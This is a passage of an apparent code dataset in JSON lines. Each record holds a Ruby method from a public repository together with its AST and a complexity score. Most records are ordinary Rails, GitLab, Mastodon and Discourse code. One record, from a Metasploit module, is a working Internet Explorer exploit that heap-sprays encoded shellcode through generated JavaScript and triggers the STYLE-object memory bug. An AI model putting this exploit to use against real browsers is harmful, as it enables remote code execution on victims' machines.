:[{\"type\":\"lvar\",\"children\":[\"search_term\"]},\"length\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"min_search_term_length\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"none\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"search_embedding\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hyde\"]},{\"type\":\"lvasgn\",\"children\":[\"search_embedding\",{\"type\":\"send\",\"children\":[null,\"hyde_embedding\",{\"type\":\"lvar\",\"children\":[\"search_term\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"search_embedding\",{\"type\":\"send\",\"children\":[null,\"embedding\",{\"type\":\"lvar\",\"children\":[\"search_term\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"asymmetric\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"over_selection_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"OVER_SELECTION_FACTOR\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"schema\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Embeddings\"]},\"Schema\"]},\"for\",{\"type\":\"const\",\"children\":[null,\"Topic\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"candidate_topic_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},\"asymmetric_similarity_search\",{\"type\":\"lvar\",\"children\":[\"search_embedding\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"over_selection_limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"semantic_results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Topic\"]},\"visible_post_types\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"user\"]}]}]}]}]},\"public_posts\"]},\"where\",{\"type\":\"str\",\"children\":[\"topics.visible\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"candidate_topic_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"order\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"array_position(ARRAY\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate_topic_ids\"]}]},{\"type\":\"str\",\"children\":[\", posts.topic_id)\"]}]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_filter_results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search\"]},\"apply_filters\",{\"type\":\"lvar\",\"children\":[\"semantic_results\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"filter_allowed_categories\",{\"type\":\"lvar\",\"children\":[\"query_filter_results\"]}]}]}]}","id":"66cc5a7c-d125-4c2d-9134-62fb9b2a46f6"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":788,"raw_source":"def test_running_prepended_before_and_after_action\n    test_process(PrependingBeforeAndAfterController)\n    assert_equal %w( before_all between_before_all_and_after_all between_before_all_and_after_all after_all ), @controller.instance_variable_get(:@ran_filter)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_running_prepended_before_and_after_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"const\",\"children\":[null,\"PrependingBeforeAndAfterController\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"before_all\"]},{\"type\":\"str\",\"children\":[\"between_before_all_and_after_all\"]},{\"type\":\"str\",\"children\":[\"between_before_all_and_after_all\"]},{\"type\":\"str\",\"children\":[\"after_all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@ran_filter\"]}]}]}]}]}","id":"c6953372-f7b3-4ee3-9ee2-00d89b2895fb"}
{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20230330152319_create_initial_audience_segments.rb","start_line":3,"raw_source":"def run\n      AudienceSegment::QUERIES.each_key do |segment_type|\n        AudienceSegment.find_or_create_by type_of: segment_type\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AudienceSegment\"]},\"QUERIES\"]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"segment_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AudienceSegment\"]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_of\"]},{\"type\":\"lvar\",\"children\":[\"segment_type\"]}]}]}]}]}]}","id":"aea0d3ed-d2b9-4c1f-9fdb-5e5c969e841d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/migration_support/migrator.rb","start_line":84,"raw_source":"def ran?(migration)\n        migrated.include?(migration.version.to_i)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ran?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrated\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"version\"]},\"to_i\"]}]}]}","id":"c1a83735-7e44-4035-b375-a1f12749085d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":1559,"raw_source":"def test_match_shorthand_with_no_scope\n    draw do\n      get \"account/overview\"\n    end\n\n    assert_equal \"/account/overview\", account_overview_path\n    get \"/account/overview\"\n    assert_equal \"account#overview\", @response.body\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_match_shorthand_with_no_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"account/overview\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/account/overview\"]},{\"type\":\"send\",\"children\":[null,\"account_overview_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/account/overview\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"account#overview\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"84d7d9e8-e011-4e13-a312-d6fbed5394db"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package.rb","start_line":670,"raw_source":"def close_duplicate(duplicate)\n    WorkPackages::UpdateService\n      .new(user: User.system, model: duplicate, contract_class: EmptyContract)\n      .call(status:, journal_cause: Journal::CausedByDuplicateWorkPackageClose.new(work_package: self))\n      .on_failure { |res| Rails.logger.error \"Failed to close duplicate ##{duplicate.id} of ##{id}: #{res.message}\" }\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"close_duplicate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duplicate\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"system\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"duplicate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"const\",\"children\":[null,\"EmptyContract\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"journal_cause\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journal\"]},\"CausedByDuplicateWorkPackageClose\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]},\"on_failure\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to close duplicate #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" of #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"message\"]}]}]}]}]}]}","id":"10b54f19-d446-479e-9a0e-63571e91f059"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/java/rmi/client/registry/parser.rb","start_line":16,"raw_source":"def parse_registry_lookup_endpoint(return_value)\n                  values_size = return_value.value.length\n                  end_point_block_data = return_value.value[values_size - 2]\n                  unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)\n                    return nil\n                  end\n\n                  return_io = StringIO.new(end_point_block_data.contents, 'rb')\n\n                  reference = extract_reference(return_io)\n\n                  reference\n                end","complexity_score":15.15,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_registry_lookup_endpoint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_value\"]},\"value\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"end_point_block_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_value\"]},\"value\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values_size\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_point_block_data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Java\"]},\"Serialization\"]},\"Model\"]},\"BlockData\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"return_io\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_point_block_data\"]},\"contents\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reference\",{\"type\":\"send\",\"children\":[null,\"extract_reference\",{\"type\":\"lvar\",\"children\":[\"return_io\"]}]}]},{\"type\":\"lvar\",\"children\":[\"reference\"]}]}]}","id":"30c28cdf-7aad-42f9-8168-e84e532657d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms09_072_style_object.rb","start_line":74,"raw_source":"def on_request_uri(cli, request)\n    # resulting eips:\n    # 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203)\n    # 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848)\n    # nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13)\n    # 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470)\n    # 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825)\n\n    print_status(\"Entering heap spray mode\")\n\n    var_memory = rand_text_alpha(rand(100) + 1)\n    var_boom = rand_text_alpha(rand(100) + 1)\n    var_body = rand_text_alpha(rand(100) + 1)\n    var_unescape = rand_text_alpha(rand(100) + 1)\n    var_shellcode = rand_text_alpha(rand(100) + 1)\n    var_spray = rand_text_alpha(rand(100) + 1)\n    var_start = rand_text_alpha(rand(100) + 1)\n    var_i = rand_text_alpha(rand(100) + 1)\n    var_ss = rand_text_alpha(rand(100) + 1)\n    var_fb = rand_text_alpha(rand(100) + 1)\n    var_bk = rand_text_alpha(rand(100) + 1)\n\n    html = %Q|<!DOCTYPE>\n<head>\n<script language=javascript>\nfunction #{var_boom}(){ document.getElementsByTagName('STYLE')[0].outerHTML++; }\nfunction #{var_body}(){\nvar #{var_unescape} = unescape;\nvar #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');\nvar #{var_spray} = #{var_unescape}( \"%\" + \"u\" + \"0\" + \"c\" + \"0\" + \"c\" + \"%u\" + \"0\" + \"c\" + \"0\" + \"c\" );\nvar #{var_ss} = 20 + #{var_shellcode}.length;\nwhile (#{var_spray}.length < #{var_ss}) #{var_spray}+=#{var_spray};\n#{var_fb} = #{var_spray}.substring(0,#{var_ss});\n#{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss});\nwhile(#{var_bk}.length+#{var_ss} < 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb};\nvar #{var_memory} = new Array();\nfor (#{var_i}=0;#{var_i}<1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode};\n#{var_boom}();\n}\n</script>\n<STYLE>* { margin: 0; overflow: scroll }</STYLE>\n<BODY ONLOAD=\"#{var_body}()\">\n</body>\n</html>\n|\n\n    # Transmit the response to the client\n    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })\n\n    # Handle the payload\n    handler(cli)\n  end","complexity_score":66.45,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Entering heap spray mode\"]}]},{\"type\":\"lvasgn\",\"children\":[\"var_memory\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_boom\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_body\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_unescape\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_shellcode\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_spray\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_start\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_i\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_ss\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_fb\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_bk\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<!DOCTYPE>\\n\"]},{\"type\":\"str\",\"children\":[\"<head>\\n\"]},{\"type\":\"str\",\"children\":[\"<script language=javascript>\\n\"]},{\"type\":\"str\",\"children\":[\"function \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_boom\"]}]},{\"type\":\"str\",\"children\":[\"(){ document.getElementsByTagName('STYLE')[0].outerHTML++; }\\n\"]},{\"type\":\"str\",\"children\":[\"function \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_body\"]}]},{\"type\":\"str\",\"children\":[\"(){\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\" = unescape;\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellcode\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\"( '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},\"encoded\"]}]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_spray\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\"( \\\"%\\\" + \\\"u\\\" + \\\"0\\\" + \\\"c\\\" + \\\"0\\\" + \\\"c\\\" + \\\"%u\\\" + \\\"0\\\" + \\\"c\\\" + \\\"0\\\" + \\\"c\\\" );\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_ss\"]}]},{\"type\":\"str\",\"children\":[\" = 20 + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellcode\"]}]},{\"type\":\"str\",\"children\":[\".length;\\n\"]},{\"type\":\"str\",\"children\":[\"while (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_spray\"]}]},{\"type\":\"str\",\"children\":[\".length < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_ss\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_spray\"]}]},{\"type\":\"str\",\"children\":[\"+=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_spray\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_fb\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_spray\"]}]},{\"type\":\"str\",\"children\":[\".substring(0,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_ss\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_bk\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_spray\"]}]},{\"type\":\"str\",\"children\":[\".substring(0,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_spray\"]}]},{\"type\":\"str\",\"children\":[\".length-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_ss\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"while(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_bk\"]}]},{\"type\":\"str\",\"children\":[\".length+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_ss\"]}]},{\"type\":\"str\",\"children\":[\" < 0x100000) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_bk\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_bk\"]}]},{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_bk\"]}]},{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_fb\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_memory\"]}]},{\"type\":\"str\",\"children\":[\" = new Array();\\n\"]},{\"type\":\"str\",\"children\":[\"for (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"=0;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"<1285;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"++) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_memory\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"]=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_bk\"]}]},{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellcode\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_boom\"]}]},{\"type\":\"str\",\"children\":[\"();\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"</script>\\n\"]},{\"type\":\"str\",\"children\":[\"<STYLE>* { margin: 0; overflow: scroll }</STYLE>\\n\"]},{\"type\":\"str\",\"children\":[\"<BODY ONLOAD=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_body\"]}]},{\"type\":\"str\",\"children\":[\"()\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"</body>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Pragma\"]},{\"type\":\"str\",\"children\":[\"no-cache\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"ba763155-5d01-4920-a3ed-21fb6de2586e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/conversation.rb","start_line":31,"raw_source":"def local?\n    uri.nil?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"local?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"nil?\"]}]}","id":"27a91524-9673-45c2-afa2-3683678da23c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/merge_request/user_posts_diff_notes_spec.rb","start_line":228,"raw_source":"def should_allow_commenting(line_holder, diff_side = nil, asset_form_reset: true)\n    write_comment_on_line(line_holder, diff_side)\n\n    click_button 'Add comment now'\n\n    wait_for_requests\n\n    assert_comment_persistence(line_holder, asset_form_reset: asset_form_reset)\n  